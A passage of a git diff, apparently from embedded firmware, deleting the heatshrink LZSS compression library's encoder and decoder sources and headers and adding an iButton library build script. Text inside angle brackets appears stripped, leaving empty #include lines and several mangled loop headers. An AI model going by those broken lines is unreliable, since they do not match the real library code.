&hsd->buffers[HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(hsd)]; - uint16_t mask = (1 << HEATSHRINK_DECODER_WINDOW_BITS(hsd)) - 1; - uint16_t neg_offset = hsd->output_index; - LOG("-- emitting %zu bytes from -%u bytes back\n", count, neg_offset); - ASSERT(neg_offset <= mask + 1); - ASSERT(count <= (size_t)(1 << BACKREF_COUNT_BITS(hsd))); - - for (i=0; ihead_index - neg_offset) & mask]; - push_byte(hsd, oi, c); - buf[hsd->head_index & mask] = c; - hsd->head_index++; - LOG(" -- ++ 0x%02x\n", c); - } - hsd->output_count -= count; - if (hsd->output_count == 0) { return HSDS_TAG_BIT; } - } - return HSDS_YIELD_BACKREF; -} - -/* Get the next COUNT bits from the input buffer, saving incremental progress. - * Returns NO_BITS on end of input, or if more than 15 bits are requested. */ -static uint16_t get_bits(heatshrink_decoder *hsd, uint8_t count) { - uint16_t accumulator = 0; - int i = 0; - if (count > 15) { return NO_BITS; } - LOG("-- popping %u bit(s)\n", count); - - /* If we aren't able to get COUNT bits, suspend immediately, because we - * don't track how many bits of COUNT we've accumulated before suspend. */ - if (hsd->input_size == 0) { - if (hsd->bit_index < (1 << (count - 1))) { return NO_BITS; } - } - - for (i = 0; i < count; i++) { - if (hsd->bit_index == 0x00) { - if (hsd->input_size == 0) { - LOG(" -- out of bits, suspending w/ accumulator of %u (0x%02x)\n", - accumulator, accumulator); - return NO_BITS; - } - hsd->current_byte = hsd->buffers[hsd->input_index++]; - LOG(" -- pulled byte 0x%02x\n", hsd->current_byte); - if (hsd->input_index == hsd->input_size) { - hsd->input_index = 0; /* input is exhausted */ - hsd->input_size = 0; - } - hsd->bit_index = 0x80; - } - accumulator <<= 1; - if (hsd->current_byte & hsd->bit_index) { - accumulator |= 0x01; - if (0) { - LOG(" -- got 1, accumulator 0x%04x, bit_index 0x%02x\n", - accumulator, hsd->bit_index); - } - } else { - if (0) { - LOG(" -- got 0, accumulator 0x%04x, bit_index 0x%02x\n", - accumulator, hsd->bit_index); - } - } - hsd->bit_index >>= 1; - } - - if (count > 1) { LOG(" -- accumulated %08x\n", accumulator); } - return accumulator; -} - -HSD_finish_res heatshrink_decoder_finish(heatshrink_decoder *hsd) { - if (hsd == NULL) { return HSDR_FINISH_ERROR_NULL; } - switch (hsd->state) { - case HSDS_TAG_BIT: - return hsd->input_size == 0 ? HSDR_FINISH_DONE : HSDR_FINISH_MORE; - - /* If we want to finish with no input, but are in these states, it's - * because the 0-bit padding to the last byte looks like a backref - * marker bit followed by all 0s for index and count bits. */ - case HSDS_BACKREF_INDEX_LSB: - case HSDS_BACKREF_INDEX_MSB: - case HSDS_BACKREF_COUNT_LSB: - case HSDS_BACKREF_COUNT_MSB: - return hsd->input_size == 0 ? HSDR_FINISH_DONE : HSDR_FINISH_MORE; - - /* If the output stream is padded with 0xFFs (possibly due to being in - * flash memory), also explicitly check the input size rather than - * uselessly returning MORE but yielding 0 bytes when polling. */ - case HSDS_YIELD_LITERAL: - return hsd->input_size == 0 ? HSDR_FINISH_DONE : HSDR_FINISH_MORE; - - default: - return HSDR_FINISH_MORE; - } -} - -static void push_byte(heatshrink_decoder *hsd, output_info *oi, uint8_t byte) { - LOG(" -- pushing byte: 0x%02x ('%c')\n", byte, isprint(byte) ? byte : '.'); - oi->buf[(*oi->output_size)++] = byte; - (void)hsd; -} diff --git a/lib/heatshrink/heatshrink_decoder.h b/lib/heatshrink/heatshrink_decoder.h deleted file mode 100644 index 687b0806b..000000000 --- a/lib/heatshrink/heatshrink_decoder.h +++ /dev/null @@ -1,100 +0,0 @@ -#ifndef HEATSHRINK_DECODER_H -#define HEATSHRINK_DECODER_H - -#include -#include -#include "heatshrink_common.h" -#include "heatshrink_config.h" - -typedef enum { - HSDR_SINK_OK, /* data sunk, ready to poll */ - HSDR_SINK_FULL, /* out of space in internal buffer */ - HSDR_SINK_ERROR_NULL=-1, /* NULL argument */ -} HSD_sink_res; - -typedef enum { - HSDR_POLL_EMPTY, /* input exhausted */ - HSDR_POLL_MORE, /* more data remaining, call again w/ fresh output buffer */ - HSDR_POLL_ERROR_NULL=-1, /* NULL arguments */ - HSDR_POLL_ERROR_UNKNOWN=-2, -} HSD_poll_res; - -typedef enum { - HSDR_FINISH_DONE, /* output is done */ - HSDR_FINISH_MORE, /* more output remains */ - HSDR_FINISH_ERROR_NULL=-1, /* NULL arguments */ -} HSD_finish_res; - -#if HEATSHRINK_DYNAMIC_ALLOC -#define HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(BUF) \ - ((BUF)->input_buffer_size) -#define HEATSHRINK_DECODER_WINDOW_BITS(BUF) \ - ((BUF)->window_sz2) -#define HEATSHRINK_DECODER_LOOKAHEAD_BITS(BUF) \ - ((BUF)->lookahead_sz2) -#else -#define HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(_) \ - HEATSHRINK_STATIC_INPUT_BUFFER_SIZE -#define HEATSHRINK_DECODER_WINDOW_BITS(_) \ - (HEATSHRINK_STATIC_WINDOW_BITS) -#define HEATSHRINK_DECODER_LOOKAHEAD_BITS(BUF) \ - (HEATSHRINK_STATIC_LOOKAHEAD_BITS) -#endif - -typedef struct { - uint16_t input_size; /* bytes in input buffer */ - uint16_t input_index; /* offset to next unprocessed input byte */ - uint16_t output_count; /* how many bytes to output */ - uint16_t output_index; /* index for bytes to output */ - uint16_t head_index; /* head of window buffer */ - uint8_t state; /* current state machine node */ - uint8_t current_byte; /* current byte of input */ - uint8_t bit_index; /* current bit index */ - -#if HEATSHRINK_DYNAMIC_ALLOC - /* Fields that are only used if dynamically allocated. */ - uint8_t window_sz2; /* window buffer bits */ - uint8_t lookahead_sz2; /* lookahead bits */ - uint16_t input_buffer_size; /* input buffer size */ - - /* Input buffer, then expansion window buffer */ - uint8_t* buffers; -#else - /* Input buffer, then expansion window buffer */ - uint8_t buffers[(1 << HEATSHRINK_DECODER_WINDOW_BITS(_)) - + HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(_)]; -#endif -} heatshrink_decoder; - -#if HEATSHRINK_DYNAMIC_ALLOC -/* Allocate a decoder with an input buffer of INPUT_BUFFER_SIZE bytes, - * an expansion buffer size of 2^WINDOW_SZ2, and a lookahead - * size of 2^lookahead_sz2. (The window buffer and lookahead sizes - * must match the settings used when the data was compressed.) - * Returns NULL on error. */ -heatshrink_decoder *heatshrink_decoder_alloc(uint8_t* buffer, uint16_t input_buffer_size, - uint8_t expansion_buffer_sz2, uint8_t lookahead_sz2); - -/* Free a decoder. */ -void heatshrink_decoder_free(heatshrink_decoder *hsd); -#endif - -/* Reset a decoder. */ -void heatshrink_decoder_reset(heatshrink_decoder *hsd); - -/* Sink at most SIZE bytes from IN_BUF into the decoder. *INPUT_SIZE is set to - * indicate how many bytes were actually sunk (in case a buffer was filled). */ -HSD_sink_res heatshrink_decoder_sink(heatshrink_decoder *hsd, - uint8_t *in_buf, size_t size, size_t *input_size); - -/* Poll for output from the decoder, copying at most OUT_BUF_SIZE bytes into - * OUT_BUF (setting *OUTPUT_SIZE to the actual amount copied). */ -HSD_poll_res heatshrink_decoder_poll(heatshrink_decoder *hsd, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size); - -/* Notify the dencoder that the input stream is finished. - * If the return value is HSDR_FINISH_MORE, there is still more output, so - * call heatshrink_decoder_poll and repeat. */ -HSD_finish_res heatshrink_decoder_finish(heatshrink_decoder *hsd); - -#endif diff --git a/lib/heatshrink/heatshrink_encoder.c b/lib/heatshrink/heatshrink_encoder.c deleted file mode 100644 index 98f27dff8..000000000 --- a/lib/heatshrink/heatshrink_encoder.c +++ /dev/null @@ -1,602 +0,0 @@ -#include -#include -#include -#include "heatshrink_encoder.h" - -typedef enum { - HSES_NOT_FULL, /* input buffer not full enough */ - HSES_FILLED, /* buffer is full */ - HSES_SEARCH, /* searching for patterns */ - HSES_YIELD_TAG_BIT, /* yield tag bit */ - HSES_YIELD_LITERAL, /* emit literal byte */ - HSES_YIELD_BR_INDEX, /* yielding backref index */ - HSES_YIELD_BR_LENGTH, /* yielding backref length */ - HSES_SAVE_BACKLOG, /* copying buffer to backlog */ - HSES_FLUSH_BITS, /* flush bit buffer */ - HSES_DONE, /* done */ -} HSE_state; - -#if HEATSHRINK_DEBUGGING_LOGS -#include -#include -#include -#define LOG(...) fprintf(stderr, __VA_ARGS__) -#define ASSERT(X) assert(X) -static const char *state_names[] = { - "not_full", - "filled", - "search", - "yield_tag_bit", - "yield_literal", - "yield_br_index", - "yield_br_length", - "save_backlog", - "flush_bits", - "done", -}; -#else -#define LOG(...) /* no-op */ -#define ASSERT(X) /* no-op */ -#endif - -// Encoder flags -enum { - FLAG_IS_FINISHING = 0x01, -}; - -typedef struct { - uint8_t *buf; /* output buffer */ - size_t buf_size; /* buffer size */ - size_t *output_size; /* bytes pushed to buffer, so far */ -} output_info; - -#define MATCH_NOT_FOUND ((uint16_t)-1) - -static uint16_t get_input_offset(heatshrink_encoder *hse); -static uint16_t get_input_buffer_size(heatshrink_encoder *hse); -static uint16_t get_lookahead_size(heatshrink_encoder *hse); -static void add_tag_bit(heatshrink_encoder *hse, output_info *oi, uint8_t tag); -static int can_take_byte(output_info *oi); -static int is_finishing(heatshrink_encoder *hse); -static void save_backlog(heatshrink_encoder *hse); - -/* Push COUNT (max 8) bits to the output buffer, which has room. */ -static void push_bits(heatshrink_encoder *hse, uint8_t count, uint8_t bits, - output_info *oi); -static uint8_t push_outgoing_bits(heatshrink_encoder *hse, output_info *oi); -static void push_literal_byte(heatshrink_encoder *hse, output_info *oi); - -#if HEATSHRINK_DYNAMIC_ALLOC -heatshrink_encoder *heatshrink_encoder_alloc(uint8_t* buffer, uint8_t window_sz2, - uint8_t lookahead_sz2) { - if ((window_sz2 < HEATSHRINK_MIN_WINDOW_BITS) || - (window_sz2 > HEATSHRINK_MAX_WINDOW_BITS) || - (lookahead_sz2 < HEATSHRINK_MIN_LOOKAHEAD_BITS) || - (lookahead_sz2 >= window_sz2)) { - return NULL; - } - - /* Note: 2 * the window size is used because the buffer needs to fit - * (1 << window_sz2) bytes for the current input, and an additional - * (1 << window_sz2) bytes for the previous buffer of input, which - * will be scanned for useful backreferences. */ - size_t buf_sz = (2 << window_sz2); - - heatshrink_encoder *hse = HEATSHRINK_MALLOC(sizeof(*hse)); - if (hse == NULL) { return NULL; } - hse->window_sz2 = window_sz2; - hse->lookahead_sz2 = lookahead_sz2; - hse->buffer = buffer; - heatshrink_encoder_reset(hse); - -#if HEATSHRINK_USE_INDEX - size_t index_sz = buf_sz*sizeof(uint16_t); - hse->search_index = HEATSHRINK_MALLOC(index_sz + sizeof(struct hs_index)); - if (hse->search_index == NULL) { - HEATSHRINK_FREE(hse, sizeof(*hse) + buf_sz); - return NULL; - } - hse->search_index->size = index_sz; -#endif - - LOG("-- allocated encoder with buffer size of %zu (%u byte input size)\n", - buf_sz, get_input_buffer_size(hse)); - return hse; -} - -void heatshrink_encoder_free(heatshrink_encoder *hse) { -#if HEATSHRINK_USE_INDEX - size_t index_sz = sizeof(struct hs_index) + hse->search_index->size; - HEATSHRINK_FREE(hse->search_index, index_sz); - (void)index_sz; -#endif - HEATSHRINK_FREE(hse, sizeof(heatshrink_encoder)); -} -#endif - -void heatshrink_encoder_reset(heatshrink_encoder *hse) { - hse->input_size = 0; - hse->state = HSES_NOT_FULL; - hse->match_scan_index = 0; - hse->flags = 0; - hse->bit_index = 0x80; - hse->current_byte = 0x00; - hse->match_length = 0; - - hse->outgoing_bits = 0x0000; - hse->outgoing_bits_count = 0; - - #ifdef LOOP_DETECT - hse->loop_detect = (uint32_t)-1; - #endif -} - -HSE_sink_res heatshrink_encoder_sink(heatshrink_encoder *hse, - uint8_t *in_buf, size_t size, size_t *input_size) { - if ((hse == NULL) || (in_buf == NULL) || (input_size == NULL)) { - return HSER_SINK_ERROR_NULL; - } - - /* Sinking more content after saying the content is done, tsk tsk */ - if (is_finishing(hse)) { return HSER_SINK_ERROR_MISUSE; } - - /* Sinking more content before processing is done */ - if (hse->state != HSES_NOT_FULL) { return HSER_SINK_ERROR_MISUSE; } - - uint16_t write_offset = get_input_offset(hse) + hse->input_size; - uint16_t ibs = get_input_buffer_size(hse); - uint16_t rem = ibs - hse->input_size; - uint16_t cp_sz = rem < size ? rem : size; - - memcpy(&hse->buffer[write_offset], in_buf, cp_sz); - *input_size = cp_sz; - hse->input_size += cp_sz; - - LOG("-- sunk %u bytes (of %zu) into encoder at %d, input buffer now has %u\n", - cp_sz, size, write_offset, hse->input_size); - if (cp_sz == rem) { - LOG("-- internal buffer is now full\n"); - hse->state = HSES_FILLED; - } - - return HSER_SINK_OK; -} - - -/*************** - * Compression * - ***************/ - -static uint16_t find_longest_match(heatshrink_encoder *hse, uint16_t start, - uint16_t end, const uint16_t maxlen, uint16_t *match_length); -static void do_indexing(heatshrink_encoder *hse); - -static HSE_state st_step_search(heatshrink_encoder *hse); -static HSE_state st_yield_tag_bit(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_yield_literal(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_yield_br_index(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_yield_br_length(heatshrink_encoder *hse, - output_info *oi); -static HSE_state st_save_backlog(heatshrink_encoder *hse); -static HSE_state st_flush_bit_buffer(heatshrink_encoder *hse, - output_info *oi); - -HSE_poll_res heatshrink_encoder_poll(heatshrink_encoder *hse, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size) { - if ((hse == NULL) || (out_buf == NULL) || (output_size == NULL)) { - return HSER_POLL_ERROR_NULL; - } - if (out_buf_size == 0) { - LOG("-- MISUSE: output buffer size is 0\n"); - return HSER_POLL_ERROR_MISUSE; - } - *output_size = 0; - - output_info oi; - oi.buf = out_buf; - oi.buf_size = out_buf_size; - oi.output_size = output_size; - - while (1) { - LOG("-- polling, state %u (%s), flags 0x%02x\n", - hse->state, state_names[hse->state], hse->flags); - - uint8_t in_state = hse->state; - switch (in_state) { - case HSES_NOT_FULL: - return HSER_POLL_EMPTY; - case HSES_FILLED: - do_indexing(hse); - hse->state = HSES_SEARCH; - break; - case HSES_SEARCH: - hse->state = st_step_search(hse); - break; - case HSES_YIELD_TAG_BIT: - hse->state = st_yield_tag_bit(hse, &oi); - break; - case HSES_YIELD_LITERAL: - hse->state = st_yield_literal(hse, &oi); - break; - case HSES_YIELD_BR_INDEX: - hse->state = st_yield_br_index(hse, &oi); - break; - case HSES_YIELD_BR_LENGTH: - hse->state = st_yield_br_length(hse, &oi); - break; - case HSES_SAVE_BACKLOG: - hse->state = st_save_backlog(hse); - break; - case HSES_FLUSH_BITS: - hse->state = st_flush_bit_buffer(hse, &oi); - /* fall through */ - case HSES_DONE: - return HSER_POLL_EMPTY; - default: - LOG("-- bad state %s\n", state_names[hse->state]); - return HSER_POLL_ERROR_MISUSE; - } - - if (hse->state == in_state) { - /* Check if output buffer is exhausted. */ - if (*output_size == out_buf_size) return HSER_POLL_MORE; - } - } -} - -HSE_finish_res heatshrink_encoder_finish(heatshrink_encoder *hse) { - if (hse == NULL) { return HSER_FINISH_ERROR_NULL; } - LOG("-- setting is_finishing flag\n"); - hse->flags |= FLAG_IS_FINISHING; - if (hse->state == HSES_NOT_FULL) { hse->state = HSES_FILLED; } - return hse->state == HSES_DONE ? HSER_FINISH_DONE : HSER_FINISH_MORE; -} - -static HSE_state st_step_search(heatshrink_encoder *hse) { - uint16_t window_length = get_input_buffer_size(hse); - uint16_t lookahead_sz = get_lookahead_size(hse); - uint16_t msi = hse->match_scan_index; - LOG("## step_search, scan @ +%d (%d/%d), input size %d\n", - msi, hse->input_size + msi, 2*window_length, hse->input_size); - - bool fin = is_finishing(hse); - if (msi > hse->input_size - (fin ? 1 : lookahead_sz)) { - /* Current search buffer is exhausted, copy it into the - * backlog and await more input. */ - LOG("-- end of search @ %d\n", msi); - return fin ? HSES_FLUSH_BITS : HSES_SAVE_BACKLOG; - } - - uint16_t input_offset = get_input_offset(hse); - uint16_t end = input_offset + msi; - uint16_t start = end - window_length; - - uint16_t max_possible = lookahead_sz; - if (hse->input_size - msi < lookahead_sz) { - max_possible = hse->input_size - msi; - } - - uint16_t match_length = 0; - uint16_t match_pos = find_longest_match(hse, - start, end, max_possible, &match_length); - - if (match_pos == MATCH_NOT_FOUND) { - LOG("ss Match not found\n"); - hse->match_scan_index++; - hse->match_length = 0; - return HSES_YIELD_TAG_BIT; - } else { - LOG("ss Found match of %d bytes at %d\n", match_length, match_pos); - hse->match_pos = match_pos; - hse->match_length = match_length; - ASSERT(match_pos <= 1 << HEATSHRINK_ENCODER_WINDOW_BITS(hse) /*window_length*/); - - return HSES_YIELD_TAG_BIT; - } -} - -static HSE_state st_yield_tag_bit(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - if (hse->match_length == 0) { - add_tag_bit(hse, oi, HEATSHRINK_LITERAL_MARKER); - return HSES_YIELD_LITERAL; - } else { - add_tag_bit(hse, oi, HEATSHRINK_BACKREF_MARKER); - hse->outgoing_bits = hse->match_pos - 1; - hse->outgoing_bits_count = HEATSHRINK_ENCODER_WINDOW_BITS(hse); - return HSES_YIELD_BR_INDEX; - } - } else { - return HSES_YIELD_TAG_BIT; /* output is full, continue */ - } -} - -static HSE_state st_yield_literal(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - push_literal_byte(hse, oi); - return HSES_SEARCH; - } else { - return HSES_YIELD_LITERAL; - } -} - -static HSE_state st_yield_br_index(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - LOG("-- yielding backref index %u\n", hse->match_pos); - if (push_outgoing_bits(hse, oi) > 0) { - return HSES_YIELD_BR_INDEX; /* continue */ - } else { - hse->outgoing_bits = hse->match_length - 1; - hse->outgoing_bits_count = HEATSHRINK_ENCODER_LOOKAHEAD_BITS(hse); - return HSES_YIELD_BR_LENGTH; /* done */ - } - } else { - return HSES_YIELD_BR_INDEX; /* continue */ - } -} - -static HSE_state st_yield_br_length(heatshrink_encoder *hse, - output_info *oi) { - if (can_take_byte(oi)) { - LOG("-- yielding backref length %u\n", hse->match_length); - if (push_outgoing_bits(hse, oi) > 0) { - return HSES_YIELD_BR_LENGTH; - } else { - hse->match_scan_index += hse->match_length; - hse->match_length = 0; - return HSES_SEARCH; - } - } else { - return HSES_YIELD_BR_LENGTH; - } -} - -static HSE_state st_save_backlog(heatshrink_encoder *hse) { - LOG("-- saving backlog\n"); - save_backlog(hse); - return HSES_NOT_FULL; -} - -static HSE_state st_flush_bit_buffer(heatshrink_encoder *hse, - output_info *oi) { - if (hse->bit_index == 0x80) { - LOG("-- done!\n"); - return HSES_DONE; - } else if (can_take_byte(oi)) { - LOG("-- flushing remaining byte (bit_index == 0x%02x)\n", hse->bit_index); - oi->buf[(*oi->output_size)++] = hse->current_byte; - LOG("-- done!\n"); - return HSES_DONE; - } else { - return HSES_FLUSH_BITS; - } -} - -static void add_tag_bit(heatshrink_encoder *hse, output_info *oi, uint8_t tag) { - LOG("-- adding tag bit: %d\n", tag); - push_bits(hse, 1, tag, oi); -} - -static uint16_t get_input_offset(heatshrink_encoder *hse) { - return get_input_buffer_size(hse); -} - -static uint16_t get_input_buffer_size(heatshrink_encoder *hse) { - return (1 << HEATSHRINK_ENCODER_WINDOW_BITS(hse)); - (void)hse; -} - -static uint16_t get_lookahead_size(heatshrink_encoder *hse) { - return (1 << HEATSHRINK_ENCODER_LOOKAHEAD_BITS(hse)); - (void)hse; -} - -static void do_indexing(heatshrink_encoder *hse) { -#if HEATSHRINK_USE_INDEX - /* Build an index array I that contains flattened linked lists - * for the previous instances of every byte in the buffer. - * - * For example, if buf[200] == 'x', then index[200] will either - * be an offset i such that buf[i] == 'x', or a negative offset - * to indicate end-of-list. This significantly speeds up matching, - * while only using sizeof(uint16_t)*sizeof(buffer) bytes of RAM. - * - * Future optimization options: - * 1. Since any negative value represents end-of-list, the other - * 15 bits could be used to improve the index dynamically. - * - * 2. Likewise, the last lookahead_sz bytes of the index will - * not be usable, so temporary data could be stored there to - * dynamically improve the index. - * */ - struct hs_index *hsi = HEATSHRINK_ENCODER_INDEX(hse); - int16_t last[256]; - memset(last, 0xFF, sizeof(last)); - - uint8_t * const data = hse->buffer; - int16_t * const index = hsi->index; - - const uint16_t input_offset = get_input_offset(hse); - const uint16_t end = input_offset + hse->input_size; - - for (uint16_t i=0; iflags & FLAG_IS_FINISHING; -} - -static int can_take_byte(output_info *oi) { - return *oi->output_size < oi->buf_size; -} - -/* Return the longest match for the bytes at buf[end:end+maxlen] between - * buf[start] and buf[end-1]. If no match is found, return -1. */ -static uint16_t find_longest_match(heatshrink_encoder *hse, uint16_t start, - uint16_t end, const uint16_t maxlen, uint16_t *match_length) { - LOG("-- scanning for match of buf[%u:%u] between buf[%u:%u] (max %u bytes)\n", - end, end + maxlen, start, end + maxlen - 1, maxlen); - uint8_t *buf = hse->buffer; - - uint16_t match_maxlen = 0; - uint16_t match_index = MATCH_NOT_FOUND; - - uint16_t len = 0; - uint8_t * const needlepoint = &buf[end]; -#if HEATSHRINK_USE_INDEX - struct hs_index *hsi = HEATSHRINK_ENCODER_INDEX(hse); - int16_t pos = hsi->index[end]; - - while (pos - (int16_t)start >= 0) { - uint8_t * const pospoint = &buf[pos]; - len = 0; - - /* Only check matches that will potentially beat the current maxlen. - * This is redundant with the index if match_maxlen is 0, but the - * added branch overhead to check if it == 0 seems to be worse. */ - if (pospoint[match_maxlen] != needlepoint[match_maxlen]) { - pos = hsi->index[pos]; - continue; - } - - for (len = 1; len < maxlen; len++) { - if (pospoint[len] != needlepoint[len]) break; - } - - if (len > match_maxlen) { - match_maxlen = len; - match_index = pos; - if (len == maxlen) { break; } /* won't find better */ - } - pos = hsi->index[pos]; - } -#else - for (int16_t pos=end - 1; pos - (int16_t)start >= 0; pos--) { - uint8_t * const pospoint = &buf[pos]; - if ((pospoint[match_maxlen] == needlepoint[match_maxlen]) - && (*pospoint == *needlepoint)) { - for (len=1; len cmp buf[%d] == 0x%02x against %02x (start %u)\n", - pos + len, pospoint[len], needlepoint[len], start); - } - if (pospoint[len] != needlepoint[len]) { break; } - } - if (len > match_maxlen) { - match_maxlen = len; - match_index = pos; - if (len == maxlen) { break; } /* don't keep searching */ - } - } - } -#endif - - const size_t break_even_point = - (1 + HEATSHRINK_ENCODER_WINDOW_BITS(hse) + - HEATSHRINK_ENCODER_LOOKAHEAD_BITS(hse)); - - /* Instead of comparing break_even_point against 8*match_maxlen, - * compare match_maxlen against break_even_point/8 to avoid - * overflow. Since MIN_WINDOW_BITS and MIN_LOOKAHEAD_BITS are 4 and - * 3, respectively, break_even_point/8 will always be at least 1. */ - if (match_maxlen > (break_even_point / 8)) { - LOG("-- best match: %u bytes at -%u\n", - match_maxlen, end - match_index); - *match_length = match_maxlen; - return end - match_index; - } - LOG("-- none found\n"); - return MATCH_NOT_FOUND; -} - -static uint8_t push_outgoing_bits(heatshrink_encoder *hse, output_info *oi) { - uint8_t count = 0; - uint8_t bits = 0; - if (hse->outgoing_bits_count > 8) { - count = 8; - bits = hse->outgoing_bits >> (hse->outgoing_bits_count - 8); - } else { - count = hse->outgoing_bits_count; - bits = hse->outgoing_bits; - } - - if (count > 0) { - LOG("-- pushing %d outgoing bits: 0x%02x\n", count, bits); - push_bits(hse, count, bits, oi); - hse->outgoing_bits_count -= count; - } - return count; -} - -/* Push COUNT (max 8) bits to the output buffer, which has room. - * Bytes are set from the lowest bits, up. */ -static void push_bits(heatshrink_encoder *hse, uint8_t count, uint8_t bits, - output_info *oi) { - ASSERT(count <= 8); - LOG("++ push_bits: %d bits, input of 0x%02x\n", count, bits); - - /* If adding a whole byte and at the start of a new output byte, - * just push it through whole and skip the bit IO loop. */ - if (count == 8 && hse->bit_index == 0x80) { - oi->buf[(*oi->output_size)++] = bits; - } else { - for (int i=count - 1; i>=0; i--) { - bool bit = bits & (1 << i); - if (bit) { hse->current_byte |= hse->bit_index; } - if (0) { - LOG(" -- setting bit %d at bit index 0x%02x, byte => 0x%02x\n", - bit ? 1 : 0, hse->bit_index, hse->current_byte); - } - hse->bit_index >>= 1; - if (hse->bit_index == 0x00) { - hse->bit_index = 0x80; - LOG(" > pushing byte 0x%02x\n", hse->current_byte); - oi->buf[(*oi->output_size)++] = hse->current_byte; - hse->current_byte = 0x00; - } - } - } -} - -static void push_literal_byte(heatshrink_encoder *hse, output_info *oi) { - uint16_t processed_offset = hse->match_scan_index - 1; - uint16_t input_offset = get_input_offset(hse) + processed_offset; - uint8_t c = hse->buffer[input_offset]; - LOG("-- yielded literal byte 0x%02x ('%c') from +%d\n", - c, isprint(c) ? c : '.', input_offset); - push_bits(hse, 8, c, oi); -} - -static void save_backlog(heatshrink_encoder *hse) { - size_t input_buf_sz = get_input_buffer_size(hse); - - uint16_t msi = hse->match_scan_index; - - /* Copy processed data to beginning of buffer, so it can be - * used for future matches. Don't bother checking whether the - * input is less than the maximum size, because if it isn't, - * we're done anyway. */ - uint16_t rem = input_buf_sz - msi; // unprocessed bytes - uint16_t shift_sz = input_buf_sz + rem; - - memmove(&hse->buffer[0], - &hse->buffer[input_buf_sz - rem], - shift_sz); - - hse->match_scan_index = 0; - hse->input_size -= input_buf_sz - rem; -} diff --git a/lib/heatshrink/heatshrink_encoder.h b/lib/heatshrink/heatshrink_encoder.h deleted file mode 100644 index e2ccb44c7..000000000 --- a/lib/heatshrink/heatshrink_encoder.h +++ /dev/null @@ -1,109 +0,0 @@ -#ifndef HEATSHRINK_ENCODER_H -#define HEATSHRINK_ENCODER_H - -#include -#include -#include "heatshrink_common.h" -#include "heatshrink_config.h" - -typedef enum { - HSER_SINK_OK, /* data sunk into input buffer */ - HSER_SINK_ERROR_NULL=-1, /* NULL argument */ - HSER_SINK_ERROR_MISUSE=-2, /* API misuse */ -} HSE_sink_res; - -typedef enum { - HSER_POLL_EMPTY, /* input exhausted */ - HSER_POLL_MORE, /* poll again for more output */ - HSER_POLL_ERROR_NULL=-1, /* NULL argument */ - HSER_POLL_ERROR_MISUSE=-2, /* API misuse */ -} HSE_poll_res; - -typedef enum { - HSER_FINISH_DONE, /* encoding is complete */ - HSER_FINISH_MORE, /* more output remaining; use poll */ - HSER_FINISH_ERROR_NULL=-1, /* NULL argument */ -} HSE_finish_res; - -#if HEATSHRINK_DYNAMIC_ALLOC -#define HEATSHRINK_ENCODER_WINDOW_BITS(HSE) \ - ((HSE)->window_sz2) -#define HEATSHRINK_ENCODER_LOOKAHEAD_BITS(HSE) \ - ((HSE)->lookahead_sz2) -#define HEATSHRINK_ENCODER_INDEX(HSE) \ - ((HSE)->search_index) -struct hs_index { - uint16_t size; - int16_t index[]; -}; -#else -#define HEATSHRINK_ENCODER_WINDOW_BITS(_) \ - (HEATSHRINK_STATIC_WINDOW_BITS) -#define HEATSHRINK_ENCODER_LOOKAHEAD_BITS(_) \ - (HEATSHRINK_STATIC_LOOKAHEAD_BITS) -#define HEATSHRINK_ENCODER_INDEX(HSE) \ - (&(HSE)->search_index) -struct hs_index { - uint16_t size; - int16_t index[2 << HEATSHRINK_STATIC_WINDOW_BITS]; -}; -#endif - -typedef struct { - uint16_t input_size; /* bytes in input buffer */ - uint16_t match_scan_index; - uint16_t match_length; - uint16_t match_pos; - uint16_t outgoing_bits; /* enqueued outgoing bits */ - uint8_t outgoing_bits_count; - uint8_t flags; - uint8_t state; /* current state machine node */ - uint8_t current_byte; /* current byte of output */ - uint8_t bit_index; /* current bit index */ -#if HEATSHRINK_DYNAMIC_ALLOC - uint8_t window_sz2; /* 2^n size of window */ - uint8_t lookahead_sz2; /* 2^n size of lookahead */ -#if HEATSHRINK_USE_INDEX - struct hs_index *search_index; -#endif - /* input buffer and / sliding window for expansion */ - uint8_t* buffer; -#else - #if HEATSHRINK_USE_INDEX - struct hs_index search_index; - #endif - /* input buffer and / sliding window for expansion */ - uint8_t buffer[2 << HEATSHRINK_ENCODER_WINDOW_BITS(_)]; -#endif -} heatshrink_encoder; - -#if HEATSHRINK_DYNAMIC_ALLOC -/* Allocate a new encoder struct and its buffers. - * Returns NULL on error. */ -heatshrink_encoder *heatshrink_encoder_alloc(uint8_t* buffer, uint8_t window_sz2, - uint8_t lookahead_sz2); - -/* Free an encoder. */ -void heatshrink_encoder_free(heatshrink_encoder *hse); -#endif - -/* Reset an encoder. */ -void heatshrink_encoder_reset(heatshrink_encoder *hse); - -/* Sink up to SIZE bytes from IN_BUF into the encoder. - * INPUT_SIZE is set to the number of bytes actually sunk (in case a - * buffer was filled.). */ -HSE_sink_res heatshrink_encoder_sink(heatshrink_encoder *hse, - uint8_t *in_buf, size_t size, size_t *input_size); - -/* Poll for output from the encoder, copying at most OUT_BUF_SIZE bytes into - * OUT_BUF (setting *OUTPUT_SIZE to the actual amount copied). */ -HSE_poll_res heatshrink_encoder_poll(heatshrink_encoder *hse, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size); - -/* Notify the encoder that the input stream is finished. - * If the return value is HSER_FINISH_MORE, there is still more output, so - * call heatshrink_encoder_poll and repeat. */ -HSE_finish_res heatshrink_encoder_finish(heatshrink_encoder *hse); - -#endif diff --git a/lib/ibutton/SConscript b/lib/ibutton/SConscript new file mode 100644 index 000000000..238d65f7d --- /dev/null +++ b/lib/ibutton/SConscript @@ -0,0 +1,24 @@ +Import("env") + +env.Append( + LINT_SOURCES=[ + Dir("."), + ], + CPPPATH=[ + "#/lib/ibutton", + ], + SDK_HEADERS=[ + File("ibutton_key.h"), + File("ibutton_worker.h"), + File("ibutton_protocols.h"), + ], +) + +libenv = env.Clone(FW_LIB_NAME="ibutton") +libenv.ApplyLibFlags() + +sources = libenv.GlobRecursive("*.c*") + 